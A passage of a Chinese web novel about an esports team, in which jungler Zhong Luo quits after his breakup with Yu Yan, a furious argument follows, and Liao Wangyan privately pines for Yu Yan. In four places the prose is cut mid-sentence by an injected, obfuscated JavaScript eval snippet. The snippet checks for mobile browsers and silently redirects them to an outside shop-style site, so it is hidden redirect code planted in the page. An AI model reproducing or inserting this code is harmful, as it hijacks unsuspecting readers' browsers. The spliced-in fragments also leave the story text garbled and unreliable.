二人谈话间于琰揉着眼睛从楼梯上走下来,看见刘国柱他打着哈欠问了声好,然后一个飞扑趴在了沙发上。 廖望延为了给他腾地方只好往扶手侧挪了挪,看着随着他姿势而上移的T恤,神情自如地伸出手帮他往下拉了拉。 于琰也自然地将脚背搭在廖望延腿上,一旁看了个满眼的刘国柱不由得开口:“于琰,你和钟络……” 被问到的人将脸侧过来,用右眼看着他:“小国柱,你想问什么?” “emm……就是……你和钟络,分了?”刘国柱磕磕巴巴地问。 “你怎么知道?” 于琰闻言调整姿势从趴着变为跪着,又从跪着变为盘腿坐着,意外地看着刘国柱:“钟络和你说的?” “啊,是啊。” “是分了,不过他为什么要和你说这个?”于琰想打破砂锅问到底。 刘国柱偏不如他愿:“那你就别管了,我知道你们两个分了就行了,大人的事小孩子少多嘴。” 于琰一个猛子就想扑到刘国柱身上,被时刻盯着他的廖望延及时拦下,左手掐住他的后颈,右手拦住他的腰,一个用力就把他重新推回至原位。 “好好呆着。” “你丫到底跟谁一伙的?咱俩认识这么多年你不帮着我?”于琰打不着刘国柱,只好用腿踹廖望延表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516602|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达自己的不满。 “你的狗腿要是不想要了我就帮你锯掉,正好快吃中午饭了,让阿姨给大家加餐。”廖望延威胁道。 刘国柱朝于琰做了个鬼脸,把箱子重新合上,临走前不忘了提醒廖望延:“Mesh下午别忘了。” “嗯,知道。” 于琰不解地问:“什么别忘了?知道什么?” “刘哥给我谈了个商务,刚才我把电子合同签了,下午开直播要用它直播。” 廖望延用下巴提示于琰看桌子上的东西。 脑袋慢半拍的于琰这才发现桌子上多了把键盘,伸手一捞将键盘搁在自己大腿上,左摸摸右按按:“挺好看啊,给我也来一把呗。” “晚点让刘哥把商务的联系方式给我,我替你要一把。”廖望延没多想,既然合同都签了,要一把键盘还不是轻轻松松。 “嘿嘿,给我换个颜色呗,我想要白的,顺便把这个名字也改成我的。” 于琰越看越喜欢,巴不得现在就把键盘安在自己电脑上。 廖望延从他腿上将键盘抢回,顺便掐了一下他大腿上紧实的肉,看着于琰“嘶”了一声反手给自己左臂一拳,轻轻笑了笑。 “想跟你爹用情侣款?美得你。” “放你的狗屁,咱俩这是父子款,我父,你子。” 于琰边揉大腿边踹他,这人手劲大得很,拧一下得缓半天。 俩人斗嘴斗到中午阿姨开饭,众人都落座在桌前,廖望延的手机早就因为一上午的使用而自动关机了,只好用于琰的手机放动画片。 要说廖望延唯一一个能体现出幼稚的地方也就在于此了,吃饭和睡觉的时候必须得有声音。 众人边聊天边吃饭的间隙,廖望延看见手机上来了一条微信消息,他自然地按下暂停点开微信—— 【千金大小姐:妈给小延买的衣服到啦,你别忘了取哦。】 廖望延挑了挑眉,拍拍右侧人的胳膊:“你妈又给我买衣服了?” “啊?”于琰被问的一愣,伸着脖子看了一眼手机才明白,“哪是我妈啊,这不是你妈吗?我这个亲儿子哪有你这干儿子受宠啊,又给你买了个羊绒开衫,一会我去驿站拿。” 正闷头干饭的邵乖抬起脑袋:“你们家里关系真好。” 于琰翻了个白眼:“我老怀疑我俩小时候出生抱错了,他才应该是我妈的儿子,不然解释不了为什么有好东西我妈老是惦记着他却把我忘了。” 左星水夹了粒花生,边嚼边说:“这才能证明你们两家关系好到一定地步了,不是吗?” 廖望延以于琰的口吻把消息回了,重新打开后台的蜡笔小新,边听边说:“确实,他妈和我妈也没什么区别了。再说了于琰,我妈天天给你买衣服的时候怎么不见你拿出来说啊?” “你别管。” “就知道营造可怜人设是吧?” “吃饭都堵不上你的嘴,看你的蜡笔小新吧!” “恼羞成怒是吧,你们都看看,这就是于琰的真实面目。” 廖于在饭桌上斗嘴,坐在最角落的钟络轻轻放下碗筷,面无表情地看着二人。 25.Chapter 25 饭后大家都要离席,刘国柱叫住落在最后的人:“钟络,你先别走,我们去聊一下你的事。” 说罢拍了拍老姚的肩膀,三人一起往会议室走。 于琰想偷偷摸摸跟上去,被廖望延揽着脖子拦下:“少掺和别人的事,别一天天跟下水道里的大黑耗子似的。” 半强迫地推着于琰上了楼梯,将他塞进卧室,临走前廖望延还强调道:“一会我来找你,如果发现你溜了,你知道会发生什么。” 于琰把门摔上,门板差点拍到廖望延鼻子,后者轻摸了下鼻尖,手插兜哼着歌回了屋。 过了十分钟,刚才狠狠摔上的门被偷偷开了个小缝,于琰把脑袋探出来,左看看右看看,确定走廊没人后踮着脚往楼下溜。 溜到会议室门口,将耳朵贴在门上偷听,却发现自己什么也听不到,于琰不信邪,把贴在门上的右耳换成了左耳。 可能恰巧是屋内的人声音有点大,他隐约听见了几个词: 确定、老板、可以、挂上。 于琰在心里思忖着这些词能组合成什么句子,就被赶来的廖望延揪住了耳朵。 “我是不是警告过你,拿你爹说的话当废话是吧?” 会议室里还有人,廖望延不好大声说话,只能贴着于琰耳边小声斥责。 说话间溢出的热气喷在耳朵上让于琰浑身难受,他推开贴着自己耳边说话的人,揉了揉耳朵小声嘟囔:“我乐意,你别管我。” 廖望延也不惯着他,被推开后重新捏住他的右耳,边用力拽边双腿往后撤,于琰只好跟着他的脚步走,离会议室越来越远。 直到二人走到了沙发前,廖望延才放开了那只耳朵,此时它已经被揪得微微泛红。 “你是不是有病啊?我偷听他们说话碍着你什么事了?” 于琰此时终于敢大声说话了。 廖望延坐下后拍了拍自己身边的位置:“坐下。” 看着于琰故意坐到离自己最远的位置,他才开口:“不是什么好事,你听了干什么?” 于琰皱眉:“你知道是什么事?” “应该知道,你也不用问我,我不会说的,你不用偷听过几天也会被通知。” 廖望延老神在在地翘起二郎腿,手指还把玩着于琰用作装饰的尾戒。 于琰觉着他在骗自己,屁股像有针在扎一样坐不住,猛地站起来想继续往会议室走:“不行,我还是想知道到底什么事。” 他想去会议室就必须从廖望延腿前经过,还没等他侧身,一条长腿就拦在了他面前。 “于琰,我不想说第二遍,坐下。” 此时好奇心到达顶点的某人根本不受他的威胁,将长腿往下一按,自己就跨了过去。 廖望延“啧”了一声,抓住于琰的衣角,将他拽得直往后仰,往后退了两步一屁股栽进沙发里。 他刚要开口骂街就被打断:“都跟你说了钟络有问题,你自己动动脑子,经理和教练都在里面还能是因为什么。” 于琰生锈的脑袋瓜转了转:“他私联其他队伍被发现了?” 一经转动发出嘎吱嘎吱涩响的脑袋瓜又转了转:“要不就是要从打野转其他路?” 叹了口气放开手里的衣角,轻轻用掌心拍了拍于琰的脸,看着他呆滞无神的双眼,廖望延凑近他轻声道—— “傻逼,他要挂牌转会。” 极力拉扯的二人还在沙发上作斗争,隔壁会议室里已经商量完了。 “那就这样,明天上午我会开始操作,你还有什么问题吗?”刘国柱照惯例询问。 “没了,谢谢刘哥姚哥。”钟络起身整了整微皱的衣服,笑着看在座的两个人,“这两年谢谢二位的栽培。” “那你希望我什么时候告诉其他人?”刘国柱又问。 “都可以,刘哥你安排就好。” 钟络没什么想法,既然已经做出了决定,其他队友早晚也会知道,没必要藏着掖着。 “好,我知道了,你先回去吧。” “不强制你训练了,想走的话就回去好好休息吧。”在会议室里一直没怎么开口的老姚说。 钟络点点头:“那就谢谢姚哥了。” 等钟络离开,刘国柱看了看沉默的老姚:“怎么就成这样了……” 老姚拿起笔记本,边往门口走边说:“想走的人留不住,各有各的缘法,你还是先想想怎么和其他人说吧。” 下午的训练室。 廖望延点开许久没碰的喵喵直播,调试了一下自己的摄像头,打开了直播。 【老!公!】 【呜呜,我还以为我眼花了,老公你终于开播了。】 【挑了个工作日的下午开播,原来这就是有粉丝底气的选手,根本不怕扑街。】 【老公快说话,你上一次的直播都快被我盘包浆了!】 廖望延的设备出了点问题,说话声音水友听不到,他只好一边让于琰帮自己调,一边打开记事本和水友打字说明情况。 因为要调试,于琰不得不拽下他一侧的耳机贴在自己耳旁,边皱眉边挪动鼠标,胳膊环着廖望延的上半身,两个人显得亲密无间。 【这就是竹马竹马的魅力吗?】 【腐眼看人基,是我有罪,我罪无可恕。】 【以前也没怎么关注过Shark,现在这么仔细一看,他还真挺帅。】 【两个我也行!】 【前面的,快穿上裤子吧,这不是无人区。】 廖望延看着满屏幕的放肆弹幕挑起了眉,故意将本就贴近的脸凑得更近了些,倘若再稍稍挪动几分二人就要变成脸贴脸了。 弹幕霎时变成了满屏的问号。 于琰根本没空搭理身边人的小动作,沉浸在自己的世界里鼓捣了半天终于确认调试完毕,这才发现二人过近的距离。 于琰皱着眉将脸挪远:“离你爹那么近干什么?滚远点。” 廖望延指着弹幕:“他们说你没我帅,我故意凑近点让他们仔细看看,结果他们说确实我更帅。” 【谁说了???】 【空口造谣是吧,我只看见了满屏幕夸Shark帅的。】 【都帅都帅,都是我老公~】 【你俩帅的不一样,一个是阳光健气小狼狗,一个是高冷禁欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529602|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老狗比~】 【前面的,Mesh花了多少钱让你这么夸他?高冷禁欲除了高他哪个字也不沾边好吧。】 廖望延看着弹幕也没回应,低头拿起了刚插好的键盘,给水友们展示了360度全方位无死角的卖家秀。 他问:“你们看这个键盘,漂不漂亮?” 【好看啊,很酷,这是你的新代言吗?】 【老公!我数三个数!3、2、1上链接!】 【有点想买,旋钮上的寡妇好精细。】 “Bingo,新商务。过几天我会去拍宣传片,应该用不了多久就会上架,现在先给你们看看,到时候记得买哦。”廖望延看着满屏的好看,把键盘重新放下,“买一把跟我同款的键盘,你们也能变成峡谷野王。” 说罢他对着旁边的人打了个响指:“儿子,来双排。” 于琰翻着白眼将他邀请至房间,廖望延开了个投票,投票内容为想看他玩什么英雄。 最终胜出的毫无意外是他的寡妇制造者。 成功在一楼拿到这个英雄的廖望延伸了个懒腰,对着摄像头眨了眨眼:“总看我玩这个你们也不嫌烦?” 一旁的于琰突然想起来一件事,拍了拍他:“你夺冠皮肤选了没啊?” “选了,我肯定选寡妇啊,这你还用问。”廖望延伸完懒腰重新将手放在键盘和鼠标上。 “万一呢,这不是怕你对寡妇腻了始乱终弃吗。” 廖望延听着于琰的话,将屏幕掰过去,让他看自己的直播弹幕:“我要敢选别的他们就敢把我活吃了。” 【Mesh和寡妇必须锁死!】 【皮肤什么时候出啊!已经想买了!】 “肯定得明年才能出皮肤了,你们也不用着急,制作也是需要时间的。”廖望延掰回显示屏看着弹幕回答问题。 进入游戏后廖望延的寡妇和于琰的佐伊杀穿了对面,一场对局结束只需要22分钟。 退出游戏他又重新开了个投票,特意将寡妇从选项中删除,发出后笑着看弹幕:“所有英雄就玩一把,不然你们能让我玩一下午的寡妇。” 就这么和于琰双排到了晚上的晚饭时间,廖望延揉了揉手腕和直播间水友Say Bye:“行了就播到这吧,五个小时也不少了,周末还会再开两天,就这样,我吃饭去了。” 他开的快关的也快,丝毫不给水友反应时间,等大家反应过来直播间早已变成黑屏。 于琰看着他的动作不禁咋舌:“这就是冠军打野的放肆吗?佩服佩服。” 廖望延搂着他的脖子,边往外走边笑着说:“你不是冠军我看你关直播也挺快的,少在这阴阳怪气。” 直到大家聚集在饭桌前,邵乖才开口问:“柱子,怎么一天没看见钟哥?中午吃饭还在呢,下午训练就没人了。” 被问到的人拿筷子的手顿了顿,强颜欢笑着说:“啊……他不太舒服,所以今天给他放了个假。” 听着他们说话的于琰也想开口,被廖望延一筷子白灼虾堵住了嘴,威胁地看着他:“你不是爱吃虾吗,多吃点。” 他只好闭上嘴默默剥虾。 26.Chapter 26 直到晚饭结束,钟络也没出现在大家视线内。 饭后休息时间,于琰趁着廖望延上厕所一溜烟跑上了楼。 敲了敲钟络的房门,门内没人回应,他不死心地又敲了敲,等了两三分钟房间主人才将门打开。 看见门外站着的人他明显愣了愣。 “进来吧。” 于琰看着地上放着的行李箱顿住了脚步,抿了抿唇继续往里走,拉开椅子坐下,目光直直看着钟络。 “你最近在干什么?为什么连着两天不训练?” 于琰明知道大概率会是什么答案,还是想从他嘴里真切听到。 “刘哥还没和你们说吗?我以为晚饭就该通知你们了。”钟络边说边蹲下身继续整理东西,丝毫不见慌张。 “说你不舒服今天请假了,但我知道这是假话,所以才来问你。” 蹲着的人笑了笑,搁下手里的事情扭头看于琰:“那你觉得什么是真话?” “你是……想走?” 钟络变相的承认:“看来你也不是完全没猜到啊小琰。” 似乎觉得蹲着有点累,他用手摸了摸瓷砖确认不脏然后一屁股坐下,曲着腿回答:“HG已经不适合我了,所以我想换个环境,刘哥也答应了,明天就会把我挂牌。” “什么叫不适合?你在这呆了两年一开始适合现在反倒不适合了?就因为咱俩分手?”于琰急躁地开口。 “为什么所有人都来问我原因呢?就不能是我自己不想在这打了吗?”钟络烦了,“姚哥也问刘哥也问现在你也来问,我真的不想一次次解释了,我就是不想在这打了,就这么简单。” 他的话伤了于琰的心,两年的相处,就用一句不想打了全盘抹掉。 “我不明白,钟络,我不信你说不想就不想。” “不信?” 钟络自嘲地笑了笑,像是下定了什么决心一样,抬头望着天花板长叹了一口气。 “那你信什么?信我有能力压过廖望延?信我有能力能面对自己的前男友心里毫无波动?信我一次次被否认还能百折不挠?于琰,你未免有点太瞧得起我了。” “一场训练赛,就因为我说错了一句话,姚哥骂完我你还要再骂我一遍,我知道自己不如廖望延,所以我走,不行吗?明明是我出了柜,我的男朋友反倒还要来教育我说我做的不对,跟我分手以后和自己的好兄弟好发小相处得甜甜蜜蜜避都不避我,于琰,你是不是没把我当人看啊?” “你也没多喜欢我吧?不然你怎么做到的前一天分手第二天还能当作没事人一样正常训练的?哦对了,我想起来了,你说公私得分明,真不好意思,我做不到啊,所以我给你们腾位置,你和你的好兄弟以后相处起来就更舒服了,我做得有错吗?” “于琰,别教育我了,管好你自己吧,我用不着你这种嘴上打着为我好的旗号其实心里根本看不起我。” 钟络是将这些话笑着说出来的,脸上没有一点难过的情绪,偏就是这个样子说出这些话才更让于琰觉得难过。 “我看不起你?”于琰怎么也想不到,钟络心里居然是这样想自己的。 “我他妈的为你着想不让你出柜,为的是让你和家庭关系不再进一步破裂。” “我他妈的说你训练赛有问题,为的是让你知道自身的问题加以改进。” “我他妈的说要公私分明,为的是整个战队能变得更好。” “我他妈的和廖望延认识十多年,关系好就要被你解读成甜甜蜜蜜不背人。” “钟络你他妈说的这也是人话?” 于琰要被气炸了,说话声音越来越大,嗓门高得要顶破房顶。 一旁上完厕所回来的廖望延没看见于琰就知道坏事了,冲上楼梯就听见了高亢的骂声,连门都来不及敲就进了钟络卧室。 “不好意思,来不及敲门,我现在就把他带走。”廖望延边说边拉于琰。 “你别他妈拉我,你知道他怎么说咱们两个吗?说咱们两个甜甜蜜蜜不避他。钟络你他妈看清楚,老子从光屁股就认识他,跟他相处的时间比你和你妈相处的时间都少不了,你眼脏就别觉得谁都跟你一样脏!” 于琰气得口不择言,脏话一句接一句往外蹦,廖望延皱着眉捂住他的嘴,揽着他的腰就往门外走。 “呜呜!呜呜呜呜呜呜!呜呜呜!呜呜呜呜!”于琰被廖望延物理压制说不出话,力气不如他大只能被硬扯着往门外走。 其余人都听见了楼上的动静,一股脑的往钟络门口冲,还没走到跟前就看见廖望延扯着于琰出来,于琰还用尽全身力气往钟络门上踹了一脚,本来半开的卧室门被这一脚踹得发出一声巨响。 “怎么了这是?!” 刘国柱配合着廖望延压制住于琰,这么一顿折腾下来,廖望延满脑门的汗。 刚想把手拿下来擦擦汗,嘴上没了束缚的于琰就又嚷起来:“钟络!老子草n……” 廖望延重新捂住他的嘴,跟旁边呆滞得看不清状况的邵乖请求:“帮我拿张纸擦擦汗,快进我眼睛里了。” “哦哦哦,好的好的!” 邵乖飞速冲下楼又飞速冲回来,扯了两张纸往他脑门上贴。 “于琰,给我停下!”廖望延吼了出来。 被他的嗓门吓得一哆嗦,于琰本还激烈反抗的身体直接顿住。 “再闹我就动真格的了,你给我老实点。” 廖望延边拽着他往房间走,边和刘国柱交代:“刘哥,没什么事,于琰我带回去教育,你让他们下去训练吧。” 刘国柱到现在还没搞清楚情况,只能点点头将其他人轰下楼,随着一声关门巨响,另一间屋子里的钟络轻蔑一笑。 “冷静了没?”廖望延俯视着看自己床上的人。 “你问我干嘛啊?你要是听见钟络说的那些畜生话你也冷静不了!”于琰脑子里现在全是那些伤人的话。 “所以呢?他畜生你就跟着一块当畜生?狗咬狗一嘴毛有意思?” “他明里暗里说咱俩有问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544453|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,搁你你忍得了?”于琰又要开始发飙。 “忍不了,但是也不会当着所有队员的面那么说话,没必要。” 廖望延倒了杯水,送到他面前。 看着他仰头一口喝干重新接回杯子,手指摩挲着玻璃杯面和他讲道理:“他都要走了你跟他生什么气,没准明天以后大家就只能赛场见了,真生气到时候就在比赛里杀得他超鬼。” “我就是气不过,他说我嘴上说着为他好实际看不起他。我草,我要真看不起他还会主动去问他?真看不起他就算他躺大马路中间被车碾过去我都不会给他打120!” “好好说话。” 廖望延知道于琰生气,从他的话里也听出了钟络到底说了些什么,但是现在已经有一个火药桶了,他总不能跟着好事成双吧,就算心里再怎么不满,还是得先把于琰稳住再去解决问题。 “不管他到底怎么想,但你做的事情问心无愧。心理扭曲的人看什么都是扭曲的,你去计较他那些话没有意义,人能和神经病交流吗?你说城门楼子他说胯骨轴子,两个人都不在一个聊天频道里,你再生气人家也只会觉得戳中了你心里的想法,他不会自省的。” 看着于琰撒气般地咬着自己被罩,他继续说:“你为他好他理解不了是他没福气,他觉得离开HG有更好的发展就让他去。既然你已经和他分手了,他又要走了,你就把他当作空气,生气到最后还是你自己吃不下饭睡不着觉,这不是惩罚你自己呢吗?” 苦口婆心总算有了点作用,于琰用气红了的眼委屈巴巴地看着他:“我后悔了,我怎么会跟这种人在一起过啊。” 廖望延揉了揉他的头:“不需要后悔。和他在一起的时候你是开心的,不要因为分手后的摩擦影响到你之前快乐的记忆。” 于琰伸手:“给我拿根烟。” 廖望延从兜里掏出烟,塞进他嘴里又给他点上火,看着他深深吸入一口朝天吐出烟,半晌才将头放下来。 “一个人怎么可以变得这么快?”于琰不明白。 廖望延给自己也点了根烟,嘴里嘟嘟囔囔:“没遇见事的时候说什么都好,遇见事才能看出这个人的品性,钟络也算给你上了一课。” “算了,我懒得和他计较,出了HG这个门就当不认识。” 廖望延点点头:“对咯,早这么想还用得着你在人家门口破口大骂?” “当时就是太生气了,火一上来我也顾不得别的了,就想骂他。” 于琰用床头柜上的矿泉水瓶当烟灰缸,把烟头熄在里面。 “行了,让你这么一闹,估计刘哥想瞒也瞒不住了,最早今晚最晚明天也就要说他挂牌的事了。” “赶紧给老子滚蛋,想起他就烦。” 于琰重新扎回廖望延的床,像死狗一样瘫在上面。 “你在这歇会,冷静下来就下去训练,我去和刘哥解释一下,我警告你,不许再去找钟络了。” 廖望延边说边往外走,听着于琰不情不愿地答应才放下心。 27.Chapter 27 等下了楼才发现,根本没人在训练,全部都在会客区沙发上八卦。 看见廖望延下来他们瞪着几双大眼,邵乖先沉不住气开口:“延哥,到底怎么回事啊?” 廖望延走到他们身边找了个位置坐下解释:“就是你们看见的情况,钟络把于琰惹毛了。” “他俩不是搞对象呢吗?什么事能吵成这样啊?” “具体情况等于琰下来自己和你们说吧,这种事我不好传话,但是有一件事我确实可以告诉你,他俩已经分手了。” “啥???” “什么?!” 现在整个基地所有人都知道这件事了,再也不用瞒着了。 刘国柱叹了口气和大家说:“钟络说是于琰提的,因为钟络家里原因。” “分个手也不至于闹到这种地步吧?” Nap现在脑子里还全是于琰跟疯狗一样要和钟络拼命的样子。 “不是因为分手闹,算了于琰下来了,你们自己问他吧。”廖望延话说到一半就听见了脚步声,及时住了嘴。 于琰看沙发已经没地方坐了,一屁股坐到了桌子上:“问我什么?刚才的事?” 看见众人点头,他把钟络的话跟他们重复了一遍。 其他人也瞬间火冒三丈,其中老姚最甚,他听完就要起身上楼,被廖望延拦下无奈道:“姚哥,你就心疼心疼我吧,我真没力气再来一次了。” 老姚被他逗笑,只好重新坐回沙发里。 于琰边玩自己衣服上的扣子边说:“不知道你们是怎么想的,但是我确实对钟络能忍则忍了,忍到最后忍出了错我也确实没想到。” 刘国柱思虑了一下决定告诉大家:“钟络已经和我提出挂牌了,明天我就会进行操作,你们也不用太过于生气,运气好的话和他相处不了几天了。” “啥?!挂牌?!” 邵乖又被震惊到了。 左星水也难得一见地皱起眉头:“因为这种事就挂牌是不是太草率了点?” 刘国柱摇摇头:“你们想的都太片面了,不光是因为于琰,还因为……” 他将目光放到廖望延身上,众人随着他的目光也看向他。 廖望延不禁眨了两下眼:“我?跟我有什么关系?我可什么都没做。” “你什么都不用做就已经把他震慑到了,他觉得在HG没发展。”刘国柱边说边叹气。 “你挺吓人啊。” 于琰拍了拍廖望延的肩。 “跟我有鸡毛关系,如果因为要和比自己强的人争首发觉得争不过就走,那只能证明他的心态和能力也只能止步于此了。” 廖望延皱眉,扫开自己肩膀上的狗爪子。 “行了,都别说了,回去训练,他要走就走他的,你们不走就给我该干什么干什么。”老姚打断众人还想聊天的欲望。 刘国柱将钟络挂到交易市场,几乎没过太久DL的人就联系到了他。 双方经过协商没用两天就敲定了钟络的买卖,而钟络也欣然接受。 一切手续走完后时间也过去了一周,钟络选在一个周末的上午推着行李箱下了楼。 在HG呆了两年,说没感情也肯定是假的。他目光环绕了一圈,想把这个基地里的所有样子都印在脑海里。 除了于琰之外的所有人都默契的早起送他,虽然他说的话很伤人,但大家还是对他有很深的感情在。 “钟哥,下次再见面就是赛场上了。”邵乖帮他推着一个箱子往外走,边开门边说。 左星水揽了揽他的肩:“希望你越来越好。” Nap沉默着帮忙运送行李。 老姚和刘国柱在路边跟DL的人说话。 廖望延在一旁倚着墙打哈欠。 钟络犹豫了半晌,还是走到了他身边,轻轻开口:“延哥,希望下次再见的时候我已经能有和你抗衡的资本了。” 他揉了揉眼,懒散地答:“我等着你。” “小……于琰那边,是我那天说的话有点过分了,麻烦你替我跟他道个歉,他把我联系方式都拉黑了。”钟络无奈摊手道。 “这种事我不方便代做,有机会的话还是你自己和他说吧,毕竟你已经觉得我们两个过分亲密了,再让我做这种事不是更肯定了你的这种想法吗?” 廖望延也没给他留面子,那天劝于琰是因为必须有人要冷静,可他的确也因为这种荒谬言论而生了一肚子闷气。 就算他真的有想和于琰在一起的想法,也不代表钟络可以用这种侮辱人的说法诋毁他。 钟络也没再多说什么,推着行李箱出了门。 顺利将选手交接给其他俱乐部,众人回到了基地里。 廖望延上了楼,门也没敲就拧开了于琰的卧室门把手,对于他站在窗前看着外面的马路毫不意外。 “想送就送呗,非要这样干什么?” 他也走到窗前,和于琰并肩而立。 于琰将大敞的窗户关上,转身回到床上躺着,拉过被子盖在自己身上说:“目送是因为这两年的队友交情,不送是因为原谅不了他的那些话,不冲突。” 廖望延轻笑:“还挺记仇啊小狗崽子。” 于琰哼哼两声,懒得再搭理他,反倒是廖望延自己耐不住寂寞地开口:“心情不好的话,晚上带你出去吃饭怎么样?” 听见吃饭,本还躺着的人立马坐起来:“吃什么!” “一听见吃就来劲是吧?晚上带你去吃个川菜,再找个清吧喝点,怎么样?” “好耶!” “已经帮你和姚哥请完半天假了,训练到晚上吃饭咱俩就走。” “耶耶耶!” 看着因为一顿饭就能重新开心起来的人,廖望延在心里感叹—— 多亏废物自己退场,不然这么好哄的人就只能看着了。 晚上的川菜吃得于琰嘴唇都红肿起来,他本就不是薄唇,略带肉感的嘴唇经过辣椒刺激变得更饱满红润。 看他贴着瓶口喝水,廖望延不自觉的将目光聚焦在他嘴唇上。 自从廖望延进队吃的那顿欢迎宴之后,于琰还没出门吃过饭,虽然基地阿姨手艺够好,但吃多了总归还是有点想吃外面饭馆的手艺。 “呜呼!过瘾!走走走,不是要去喝点吗?带路带路!” 廖望延开着车带他去了离川菜馆十公里外的清吧。这家店刚开业不久,桌位也不算多,此时还不到十点,没有几个顾客,二人坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558177|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吧台上,右上方就是驻唱歌手的台子。 于琰点了一杯螺丝起子,他喜欢这种口感清爽的调酒类,廖望延则是选了杯教父。 调酒师刚要把酒杯推到廖望延面前,就被于琰先行截下,轻嘬一口吧嗒了两下嘴,他整张脸都皱了起来。 教父里有杏仁酒,味道略带苦感,正好是于琰不喜欢的那种类型。 廖望延明知道却也不拦他,偏要看他喝了一口后将五官都皱在一起的滑稽丑态。 二人边喝边聊到了十点半,驻唱歌手开始上台。 今天的驻唱歌手是位女生,坐在高脚凳上一首首唱着R&B,于琰不禁拿出手机给基地里的队友们拍视频,边录边说:“咱们基地里根本听不见这么好听的声音,一个个全是公鸭嗓。” 看着于琰掏出手机录视频,廖望延也有样学样。 前者拍歌手,后者拍前者。 看着于琰边录边跟唱,廖望延嘴角扬起一个几乎察觉不出的笑容。 视频中的男生微微晃着头,边哼歌边嘴角带笑,酒吧昏黄的灯光映在他脸上,因角度而形成一些反射的阴影。他眼睛亮亮的,扭头看自己的时候比正午的阳光还要有光彩。 廖望延及时按下暂停,放下举着的手机,视频最后一幕定格在于琰扭头笑着看自己。 “你还拍什么呢?我这角度比你好,到时候用我的发朋友圈就行。” 于琰丝毫没有察觉到自己被拍进了手机里,还以为他跟自己一样在录歌手。 廖望延喝了口酒:“谁跟你一样,天天屁大点的事都要发个朋友圈。” “你又不发那你拍啥呢?” “少管你爹。” “嘿你这人,老子今天非得喝穷你。您好,麻烦给我来一杯Martini。” “少喝点。” 廖望延皱着眉头看他,这已经是于琰的第五杯了,有点过量了。 果然不出他所料,走出酒吧的时候于琰腿都站不稳了。 叫了个代驾,等到基地的时候廖望延先下了车,打开另一侧的车门,将于琰背在背上进了基地。 平稳的路程让他早已进入梦乡,连上了别人的背都毫无察觉。 上楼梯时的颠簸让他不由得动了动脑袋,头发擦过廖望延的耳廓泛起一阵痒意,无意识的将嘴唇贴在了另一人的后颈上。 被温热的肉感触碰到,某人步伐顿了顿,抬起的左腿六七秒后才踩在了台阶上。 将醉鬼送上床脱去鞋袜,廖望延站在他面前沉着眸子看他。 食指指尖从头发滑到额头、到鼻梁、到鼻头、到人中、最终悬停在红润的嘴唇上。 他只需要稍稍沉手,指肚就能压在上面,但他没有。 维持这个姿势持续了好几分钟,直到手臂觉得酸涩他才撤回手指,拉过放在旁边的被子盖在于琰身上。 没法帮他脱掉外衣了,不然就要犯错误了。 廖望延快步走出于琰的房间,回自己卧室冲了个澡。 他将手撑在洗手台,头发上的水珠一颗颗滴在陶瓷台上,溅出一个个圆形的水印子。 仰头将碎发随意撸到脑后,他叹了口气—— 没男朋友果然更难自控。 28.Chapter 28 DL选择在买下钟络后的第八天宣布了他的加入,公告下有不少人发表了自己的看法。 【能理解,如果是我我也没勇气和Mesh呆在一个队。】 【唉,我老公还是太强了,把人家原本的打野都吓走了。】 【楼上的别给你家主子招黑了,你主子知道你在外面这么捧他臭脚吗?】 【Mesh是强,但Clock也没必要还没打就逃了吧?以后更容易挨嘲。】 【出走老东家总比稳看饮水机好。】 看客们都是看热闹不嫌事大,说什么的都有,这帮人主要分为三个阵营。 第一个阵营是帮着钟络说话的。 中心意思就是钟络作为一个没什么好成绩的小打野,如果一直呆在HG无非是在浪费时间,因为廖望延不会给他上场机会,只要廖望延在HG一天,钟络就要浪费一天职业生命,那还不如提前给自己找出路。 第二个阵营是不赞同钟络出走HG的。 大致意思为既然在HG都呆了两年了,画上个圆满句号不好吗,选择在合同未到期的时候走人只会让大家觉得他钟络是个软蛋,没有竞争意识。 第三个阵营是脑回路清奇的。 